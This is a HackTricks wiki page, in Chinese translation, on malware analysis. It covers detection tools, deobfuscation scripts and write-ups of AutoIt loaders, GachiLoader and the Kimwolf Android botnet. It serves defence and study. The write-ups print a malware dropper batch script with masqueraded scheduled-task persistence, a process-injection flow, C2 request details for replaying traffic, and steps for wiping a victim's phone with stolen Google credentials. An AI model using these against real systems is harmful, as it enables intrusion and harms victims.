Malware Analysis

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Forensics CheatSheets

https://www.jaiminton.com/cheatsheet/DFIR/#

在线服务

离线防病毒与检测工具

Yara

安装

sudo apt-get install -y yara

准备规则

使用此脚本从 github 下载并合并所有的 yara malware 规则: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
创建 rules 目录并执行它。 这将创建一个名为 malware_rules.yar 的文件,其中包含所有用于 malware 的 yara 规则。

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

扫描

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: 检测 malware 并创建 yara rules

你可以使用工具 YaraGen 从二进制文件生成 yara rules。查看这些教程: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

安装

sudo apt-get install -y clamav

扫描

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa 用于检测可执行文件(PE、ELF、.NET)中潜在的恶意 capabilities。因此它会发现例如 Att&ck tactics,或如下可疑的 capabilities:

  • 检测 OutputDebugString 错误
  • 作为服务运行
  • 创建进程

Github repo 获取。

IOCs

IOC 意味着 Indicator Of Compromise(入侵指示器)。IOC 是一组用于识别某些潜在不受欢迎软件或已确认 malware条件。Blue Teams 使用这种定义在其 系统网络搜索这类恶意文件
共享这些定义非常有用:当在一台计算机中识别出 malware 并为其创建 IOC 时,其他 Blue Teams 可以使用该 IOC 更快地识别该 malware。

用于创建或修改 IOCs 的工具有 IOC Editor
你可以使用诸如 Redline 的工具在设备中搜索已定义的 IOC。

Loki

Loki 是一个用于扫描 Simple Indicators of Compromise 的扫描器。
检测基于四种检测方法:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) 是一个针对 Linux 的恶意软件扫描器,采用 GNU GPLv2 许可证发布,专为共享托管环境面临的威胁而设计。它使用来自网络边缘入侵检测系统的威胁数据来提取正在被用于攻击的恶意软件并生成用于检测的签名。此外,威胁数据还来自用户通过 LMD checkout feature 提交的样本以及恶意软件社区资源。

rkhunter

rkhunter 这样的工具可用于检查文件系统以发现可能的 rootkits 和恶意软件。

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS 是一个工具,会尝试使用不同的技术在可执行文件中查找混淆的字符串。

PEpper

PEpper 检查可执行文件中的一些基本内容(二进制数据、熵、URLs 和 IPs、一些 yara rules)。

PEstudio

PEstudio 是一个工具,允许获取 Windows 可执行文件的信息,例如 imports、exports、headers,但也会检查 virus total 并发现潜在的 Att&ck 技术。

Detect It Easy(DiE)

DiE 是一个用于检测文件是否被 加密 并查找 打包器 的工具。

NeoPI

NeoPI 是一个 Python 脚本,使用多种 统计方法 来检测文本/脚本文件中的 混淆加密 内容。NeoPI 的目的是帮助 检测隐藏的 web shell 代码

php-malware-finder

PHP-malware-finder 会尽最大努力检测 混淆/可疑代码,以及使用经常被恶意软件/webshells 使用的 PHP 函数的文件。

Apple Binary Signatures

在检查某些 恶意软件样本 时,你应该始终 检查二进制的签名,因为为其签名的 开发者 可能已经与 恶意软件 有关联。

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

检测技术

文件堆叠

如果你知道某个包含 web server 文件的文件夹在某个日期被最后更新,请检查该 web server 中所有文件创建和修改日期,如果有任何日期看起来可疑,就检查对应的文件。

基线

如果某个文件夹的文件不应该被修改,你可以计算该文件夹中原始文件的hash,并将其与当前文件比较。任何被修改的都将是可疑的。

统计分析

当信息保存在日志中时,你可以检查统计信息,比如每个 web server 文件被访问的次数,因为 web shell 可能是被访问次数最多的之一。


Android 应用内 native 遥测(无需 root)

在 Android 上,你可以通过在其他 JNI libs 初始化之前预加载一个小型日志库,在目标 app 进程内对 native 代码进行 instrument。这样可以在不使用系统范围 hook 或 root 的情况下,尽早获取 native 行为的可见性。一个常用方法是 SoTap:将 libsotap.so 放入对应 ABI 的 APK 中,并在早期注入 System.loadLibrary(“sotap”) 调用(例如在静态初始化器或 Application.onCreate 中),然后从内部/外部路径收集日志,或回退到 Logcat。

有关设置细节和日志路径,请参阅 Android native reversing 页面:

Reversing Native Libraries


Android/JNI native 字符串去混淆(angr + Ghidra)

一些 Android 恶意软件和受 RASP 保护的应用在调用 RegisterNatives 之前,会在运行时对 JNI 方法名和签名进行解码以隐藏它们。当 Frida/ptrace 的 instrumentation 被反调试手段终止时,你仍可通过用 angr 离线执行二进制内的解码器来恢复明文,然后将结果作为注释推回到 Ghidra。

关键思想:将 .so 内的解码器视为可调用函数,对 .rodata 中的混淆字节块执行它,并将输出字节具体化到第一个 \x00(C-string 终止符)为止。确保 angr 和 Ghidra 使用相同的 image base 以避免地址不匹配。

工作流程概览

  • 在 Ghidra 中初步排查:识别解码器及其在 JNI_OnLoad 和 RegisterNatives 设置中的调用约定/参数。
  • 使用 angr (CPython3) 运行解码器,对每个目标字符串执行并导出结果。
  • 在 Ghidra 中注释:在每个调用点自动注释解码后的字符串,以便快速重建 JNI。

Ghidra 初步排查(JNI_OnLoad 模式)

  • 将 JNI datatypes 应用到 JNI_OnLoad,使 Ghidra 识别 JNINativeMethod 结构。
  • 根据 Oracle 文档,典型的 JNINativeMethod:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • 查找对 RegisterNatives 的调用。如果库通过本地例程(例如 FUN_00100e10)构造 name/signature,而该例程引用静态字节表(例如 DAT_00100bf4)并接受类似 (encoded_ptr, out_buf, length) 的参数,那么这就是离线执行的理想目标。

angr 设置(离线执行解码器)

  • 使用与 Ghidra 相同的 base 加载 .so(例如:0x00100000),并禁用外部库的自动加载以保持状态小。
angr 设置和离线解码器执行 ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- 在大规模场景下,构建一个从调用点到解码器的参数 (encoded_ptr, size) 的静态映射。Wrappers 可能会隐藏参数,因此如果 API recovery 嘈杂,你可以从 Ghidra xrefs 手动创建此映射。

<details>
<summary>使用 angr 批量解码多个调用点</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

在 Ghidra 中注释调用点 选项 A:仅 Jython 的注释写入器(使用预先生成的 JSON)

  • 由于 angr 需要 CPython3,保持 deobfuscation 和 annotation 分离。首先运行上面的 angr 脚本以生成 decoded_strings.json。然后运行此 Jython GhidraScript,在每个调用点写入 PRE_COMMENTs(并包括调用者函数名以便上下文):
Ghidra Jython 脚本,用于注释解码后的 JNI 字符串 ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

选项 B:通过 pyhidra/ghidra_bridge 的单一 CPython 脚本
- 另外,可以使用 pyhidra 或 ghidra_bridge 从运行 angr 的同一 CPython 进程驱动 Ghidra 的 API。这样可以调用 decode_string() 并立即设置 PRE_COMMENTs 而无需中间文件。逻辑与 Jython 脚本相同:通过 ReferenceManager 构建 callsite→function 映射,使用 angr 解码,并设置注释。

为什么可行及何时使用
- 离线执行规避了 RASP/anti-debug:不需要 ptrace 或 Frida hooks 即可恢复字符串。
- 保持 Ghidra 和 angr 的 base_addr 对齐(例如 0x00100000)可确保函数/数据地址在工具间一致。
- 可重复的解码器流程:把变换视为纯函数,在新状态中分配输出缓冲区,以 (encoded_ptr, out_ptr, len) 调用它,然后通过 state.solver.eval 具体化并解析直到 \x00 的 C-strings。

注意事项与陷阱
- 遵守目标 ABI/调用约定。angr.factory.callable 会根据 arch 选择;如果参数看起来偏移,显式指定 cc。
- 如果解码器期望输出缓冲区为全零,在调用前在 state 中用零初始化 outbuf。
- 对于位置无关的 Android .so,总是提供 base_addr,以便 angr 中的地址与 Ghidra 中看到的地址匹配。
- 使用 currentProgram.getReferenceManager() 枚举 call-xrefs,即使应用在薄包装函数后面封装了解码器。

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## 去混淆动态控制流 (JMP/CALL RAX 调度器)

现代恶意软件家族大量滥用控制流图 (CFG) 混淆:它们不是直接跳转/调用,而是在运行时计算目标并执行 `jmp rax` 或 `call rax`。一个小型的 *dispatcher*(通常约九条指令)根据 CPU 的 `ZF`/`CF` 标志设置最终目标,完全破坏静态 CFG 恢复。

该技术由 SLOW#TEMPEST loader 展示;可以通过一个仅依赖 IDAPython 和 Unicorn CPU emulator 的三步工作流程来破解。

### 1. 定位每个间接跳转/调用
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. 提取 dispatcher byte-code

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. 使用 Unicorn 对其进行两次模拟

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

运行 run(code,0,0)run(code,1,1) 来获取 falsetrue 分支目标。

4. 修补回直接跳转 / 调用

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

打补丁后,强制 IDA 重新分析该函数,以恢复完整的 CFG 和 Hex-Rays 输出:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Label indirect API calls

一旦已知每个 call rax 的真实目标,就可以告诉 IDA 它是什么,这样参数类型和变量名会被自动恢复:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

实际好处

  • 恢复真实的 CFG → 反编译从 10 行变为数千行。
  • 启用 string-cross-reference & xrefs,使行为重构变得简单。
  • 脚本可重用:将它们放入任何受相同技巧保护的 loader 中即可。

AutoIt-based loaders: .a3x 解密、Task Scheduler 伪装与 RAT 注入

该入侵模式串联了一个签名的 MSI、编译为 .a3x 的 AutoIt loaders,以及伪装成良性应用的 Task Scheduler 任务。

MSI → custom actions → AutoIt 协调器

由 MSI custom actions 执行的进程树和命令:

  • MsiExec.exe → cmd.exe 来运行 install.bat
  • WScript.exe 用于显示诱饵错误对话框
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (投放 loader, 设置 persistence, 自我清理):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (用户诱饵):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

关键痕迹与伪装:

  • 将 AutoIt3.exe 和 IoKlTr.au3 投放到 C:\Users\Public\Music
  • 将 schtasks.exe 复制为 hwpviewer.exe(伪装为 Hangul Word Processor 查看器)
  • 创建一个名为 “IoKlTr” 的计划任务,间隔 1 分钟运行一次
  • 启动项 LNK 显示为 Smart_Web.lnk;互斥体:Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • 在 %APPDATA%\Google\Browser\ 的子文件夹(名称包含 adbadv)中分阶段放置模块,并通过 autoit.vbs/install.bat 辅助脚本启动它们

取证排查提示:

  • schtasks 枚举:schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • 查找与 Task XML 共存的被重命名的 schtasks.exe 副本:dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • 常见路径: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, 启动项 Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • 关联进程创建:AutoIt3.exe 衍生出合法的 Windows 二进制(例如 cleanmgr.exe、hncfinder.exe)

AutoIt 加载器和 .a3x 负载解密 → 注入

  • AutoIt 模块使用 #AutoIt3Wrapper_Outfile_type=a3x 编译,并在注入到良性进程之前解密嵌入的负载。
  • 观察到的家族:QuasarRAT(注入到 hncfinder.exe)和 RftRAT/RFTServer(注入到 cleanmgr.exe),以及 RemcosRAT 模块(Remcos\RunBinary.a3x)。
  • 解密模式:通过 HMAC 推导 AES 密钥,解密嵌入的二进制 blob,然后注入明文模块。

通用解密骨架(确切的 HMAC 输入/算法因家族而异):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Common injection flow (CreateRemoteThread-style):

  • 使用 CreateProcess(suspended)创建目标宿主进程(例如 cleanmgr.exe)
  • 使用 VirtualAllocEx + WriteProcessMemory 写入解密后的模块/shellcode
  • 通过 CreateRemoteThread 或 QueueUserAPC 执行 payload

Hunting ideas

  • 由 MsiExec.exe 或 WScript.exe 作为父进程的 AutoIt3.exe 启动系统工具
  • 位于公共/用户可写路径下的 .a3x 文件或 AutoIt 脚本运行器
  • 可疑的 scheduled tasks 执行 AutoIt3.exe 或未被 Microsoft 签名的二进制文件,触发间隔为分钟级

Account-takeover abuse of Android Find My Device (Find Hub)

在 Windows 入侵期间,操作者使用被盗的 Google 凭据反复擦除受害者的 Android 设备,在通过受害者已登录的桌面 messenger 扩展访问权限时压制通知。

Operator steps (from a logged-in browser session):

  • 查看 Google Account → Security → Your devices;进入 Find My Phone → Find Hub (https://www.google.com/android/find)
  • 选择设备 → 重新输入 Google 密码 → 执行 “Erase device”(恢复出厂设置);重复此操作以延缓恢复
  • 可选:清除关联邮箱(如 Naver)中的警报邮件以隐藏安全通知

Tracing heavily obfuscated Node.js loaders

攻击者越来越多地将 JavaScript loader 捆绑在使用 nexe 编译的独立 Windows 二进制中,因此 runtime 与脚本一起打包。生成的 PE 通常大小在 60–90 MB,并且即使未安装 Node.js 也能执行。在分析过程中:

  • 使用 nexe_unpacker 从 PE 中提取嵌入的 JavaScript,并将其交给本地工具进行静态差异比较。
  • 注意在 %TEMP% 中可能存在基于磁盘的 mutex(GachiLoader 会丢弃一个随机的 <name>.lock 文件,大约在 ~5 minutes 后过期)。在执行前将该文件复制到 sandbox 可以让你跳过冗余阶段,同时仍能看到后续 payloads。

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer 在任何 Node.js 进程中 hook 核心模块,允许你伪造 anti-VM 探测,并保留样本写入的所有 artifact。通过该 tracer 启动被混淆的脚本,可以将分析者控制的 instrumentation 保持在调用栈中:

node -r .\tracer.js main.js

Key configuration toggles inside tracer.js allow you to:

  • 记录文件系统、子进程和 HTTP 活动(LOG_HTTP_REQUESTS, SAVE_FILE_WRITES)。每个被写入的文件——例如 kidkadi.node——在恶意软件删除之前都会被复制到工作目录。
  • 覆盖环境指纹,通过返回逼真的 RAM/CPU 数量、伪造 tasklist 输出并篡改 PowerShell/WMI 响应。这可绕过要求 ≥4 GB RAM、≥2 cores 的 loaders,并避免因检查用户名(mashinesssss, wdagutilityaccount 等)、主机名(desktop-vrsqlag, server1 …)和进程名(vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe)而被标记。
  • 无效化像 Get-WmiObject Win32_DiskDrive(查找 vmware, kvm, virtio …)、Win32_VideoController(阻止 “VirtualBox Graphics Adapter”, “Hyper-V Video” 等)和 Win32_PortConnector 计数之类的 WMI 硬件检查。当这些探测返回“真实”硬件时,沙箱就不会再命中 GachiLoader 用来浪费分析时间的对 linkedin.com, grok.com, whatsapp.com 等域名发出的良性 Invoke-WebRequest 无限循环。

Capturing gated C2 traffic automatically

The tracer’s network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:

  1. POSTs host telemetry to /log on each hard-coded C2.
  2. Issues GET /richfamily/<per-sample key> with X-Secret: gachifamily to retrieve a Base64-encoded payload URL.
  3. Performs a final GET to that URL with a long per-sample X-Secret header; missing it returns 403 Forbidden.

Because the tracer records complete requests (headers, bodies, destinations), you can replay the same traffic to pull payloads, dump Themida/VMProtect shells in memory, and extract Rhadamanthys configuration data at scale.

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • 恶意 APK(例如 com.n2.systemservice06*)在 res/raw 内携带一个静态链接的 ARM ELF(例如 R.raw.libniggakernel)。一个 BOOT_COMPLETED 接收器在启动时运行,将原始资源提取到应用沙箱(例如 /data/data/<pkg>/niggakernel),设置为可执行并用 su 调用它。
  • 许多 Android TV boxes/tablets 出厂时带有 pre-rooted 镜像或全局可写的 su,因此即使没有利用链,loader 也能可靠地以 UID 0 启动 ELF。由于接收器在每次重启或应用重启后都会重新启动,所以持久性“免费”获得。
  • 反向工程人员可通过 diff AndroidManifest.xml 查找隐藏的开机接收器,以及引用 Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su") 的代码。一旦 ELF 被写入,应按 Linux userland 后门进行分类(Kimwolf 使用 UPX 打包、strip、静态链接、32-bit ARM EABI5)。

Runtime mutexes & masquerading IOCs

  • 启动时,Kimwolf 会绑定一个 abstract UNIX domain socket,例如 @niggaboxv4/@niggaboxv5。已有的 socket 会导致进程退出,因此 socket 名称既作为 mutex,也作为法证痕迹。
  • 进程标题会被覆写为看起来像服务的名称(netd_services, tv_helper 等),以便在 Android 进程列表中混淆。基于主机的检测可以针对这些名称与 mutex socket 的组合发出告警。

Stack XOR string decoding with ARM NEON + flare_emu

  • 敏感字符串(C2 域名、解析器、DoT 端点)以加密的 8 字节块压入栈中,并通过 VEOR Qx, Qx, Qy (veorq_s64) 就地解码。分析人员可以编写 flare_emu 脚本,在解密器每次将解密指针交给调用者时捕获该指针:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • 搜索 VEOR Q8, Q8, Q9 / veorq_s64 序列并模拟其范围会批量导出所有解密字符串,从而绕过明文仅存在于栈上的生命周期。

DNS-over-TLS 解析加上 XOR IP 推导

  • 所有 Kimwolf 变体通过直接向 Google (8.8.8.8) 或 Cloudflare (1.1.1.1) 使用 DNS-over-TLS (TCP/853) 来解析 C2 域名,从而绕过普通 DNS 的日志记录或劫持。
  • v4 bots 直接使用返回的 IPv4 A 记录。v5 bots 将 A 记录视为 32 位整数,交换字节序(endianness),与常量 0x00ce0491 做 XOR,然后再恢复字节序以获得真实的 C2 IP。CyberChef 配方:将 IP 格式更改 → 对每 4 字节块交换字节序 → 与 00 ce 04 91 做 XOR → 转换回点分十进制。

ENS / EtherHiding 回退

  • 后期构建添加了一个 ENS 域 (pawsatyou.eth),其 resolver text key "lol" 存放着一个看起来无害的 IPv6 (fed0:5dec:...:1be7:8599)。
  • 该 bot 抓取最后四个字节(1b e7 85 99),与 0x93141715 做 XOR,并将结果解释为 IPv4 C2(136.243.146.140)。更新 ENS 文本记录即可通过区块链即时轮换下游 C2,而无需接触 DNS。

TLS + ECDSA 认证的命令通道

  • 流量通过 wolfSSL 封装,使用自定义的 framed 协议:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • 引导阶段:bot 发送两个空的 MsgType=0 (register) 头。C2 回复带有随机挑战的 MsgType=1 (verify),并包含 ASN.1 DER ECDSA 签名。Bots 将其与嵌入的 SubjectPublicKeyInfo blob 进行验证;验证失败会终止会话,从而防止 hijacked/sinkholed C2 nodes 对群体下发任务。
  • 一旦验证通过,bot 会发送一个 MsgType=0 主体,携带操作员定义的 group string(例如 android-postboot-rt)。如果该 group 已启用,C2 会回复 MsgType=2 (confirm),随后开始下发任务(MsgType 5–12)。
  • 支持的操作包括 SOCKS-style TCP/UDP proxying (residential proxy monetization)、reverse shell / single command exec、file read/write,以及 Mirai-compatible DDoSBody payloads(相同的 AtkTypeDurationTargets[]Flags[] 布局)。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks